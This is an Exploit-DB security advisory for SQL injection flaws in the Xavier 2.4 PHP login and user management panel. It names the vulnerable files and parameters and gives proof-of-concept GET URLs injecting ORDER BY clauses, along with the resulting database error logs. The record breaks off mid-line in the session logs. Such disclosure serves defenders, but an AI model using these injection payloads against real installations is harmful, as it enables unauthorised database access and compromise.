Exploit-DB #42132
Description: Xavier 2.4 - SQL Injection
Type: webapps
Platform: php
Date: 2017-06-07
Author: Vulnerability-Lab

Exploit:
Document Title:
===============
Xavier v2.4 PHP MP - SQL Injection Web Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2076


Release Date:
=============
2017-06-06


Vulnerability Laboratory ID (VL-ID):
====================================
2076


Common Vulnerability Scoring System:
====================================
5.3


Vulnerability Class:
====================
SQL Injection


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
The script can easily be dropped in to an existing website allowing you to protect pages by adding one line of PHP code at the top of a page. 
You can also protect sections of pages. Secure your web pages or sections of content dependant on whether your users are logged in or out, 
or whether they are a member of a User Group. Or secure your pages dependent on whether you are logged on as an administrator.

(Copy of the Homepage:  https://codecanyon.net/item/xavier-php-login-script-user-management/9146226 )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple sql-injection web vulnerabilities in the Xavier PHP Login Script & User Management Admin Panel v2.4 web-application.


Vulnerability Disclosure Timeline:
==================================
2017-06-06: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Siggles
Product: Xavier - PHP Login Script & User Management Admin Panel 2.4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple sql-injection vulnerabilities has been discovered in the Xavier PHP Login Script & User Management Admin Panel web-application.
The issue allows remote attackers to inject own malicious sql commands to compromise the web-application & database management system.

The sql-injection vulnerabilities are located in the `usertoedit` and `log_id` parameters of the `adminuserdit.php` and `editgroup.php` files.
Remote attackers with privileged user accounts are able to compromise the web-application and database management system by injection of sql 
commands via GET method request. The attacker vector is client-side and the request method to inject the sql commands is GET. The vulnerability 
is a classic order by sql-injection.

The security risk of the sql-injection web vulnerability is estimated as medium with a common vulnerability scoring system count of 5.3. 
Exploitation of the remote sql-injection web vulnerability requires an authenticated web-application user account and no user interaction. 
Successful exploitation of the sql-injection web vulnerability results in web-application or database management system compromise.

Request Method(s):
[+] GET

Vulnerable File(s):
[+] adminuseredit.php
[+] editgroup.php

Vulnerable Parameter(s):
[+] usertoedit
[+] log_id


Proof of Concept (PoC):
=======================
The remote sql-injection vulnerability can be exploited by authenticated user accounts without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC: Example
https://xavier-php.localhost:8080/xavier/admin/adminuseredit.php?usertoedit=[SQL-INJECTION VULNERABILITY!]
https://xavier-php.localhost:8080/xavier/admin/editgroup.php?log_id=[SQL-INJECTION VULNERABILITY!]


PoC: Exploitation
https://xavier-php.localhost:8080/xavier/admin/adminuseredit.php?usertoedit=1%20order%20by%203--
https://xavier-php.localhost:8080/xavier/admin/editgroup.php?log_id=1%20order%20by%203--


--- SQL Error & Exception Logs ---
Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42S22]: 
Column not found: 1054 Unknown column '100' in 'order clause'' 
in /home/angry/public_html/xavier-demo/admin/includes/Functions.php:300 Stack trace: 
#0 /home/angry/public_html/xavier-demo/admin/includes/Functions.php(300): PDO->query('SELECT * FROM `...') 
#1 /home/angry/public_html/xavier-demo/admin/editgroup.php(11): Functions->returnGroupInfo(Object(Database), '1 order by 100-...') 
#2 {main} thrown in /home/angry/public_html/xavier-demo/admin/includes/Functions.php on line 300
-
Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42000]: 
Syntax error or access violation: 1064 You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1' 
in /home/angry/public_html/xavier-demo/admin/includes/Functions.php:300 Stack trace: 
#0 /home/angry/public_html/xavier-demo/admin/includes/Functions.php(300): PDO->query('SELECT * FROM `...') 
#1 /home/angry/public_html/xavier-demo/admin/editgroup.php(11): Functions->returnGroupInfo(Object(Database), ''') 
#2 {main} thrown in /home/angry/public_html/xavier-demo/admin/includes/Functions.php on line 300
-
Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42000]: 
Syntax error or access violation: 1064 You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right syntax to use near '''' at line 1' 
in /home/angry/public_html/xavier-demo/admin/includes/Functions.php:59 Stack trace: 
#0 /home/angry/public_html/xavier-demo/admin/includes/Functions.php(59): PDO->query('SELECT username...') 
#1 /home/angry/public_html/xavier-demo/admin/adminuseredit.php(26): Functions->usernameTaken('-1' -1'') 
#2 {main} thrown in /home/angry/public_html/xavier-demo/admin/includes/Functions.php on line 59


--- PoC Session Logs [GET] ---
Status: 200[OK]
GET https://xavier-php.localhost:8080/xavier/admi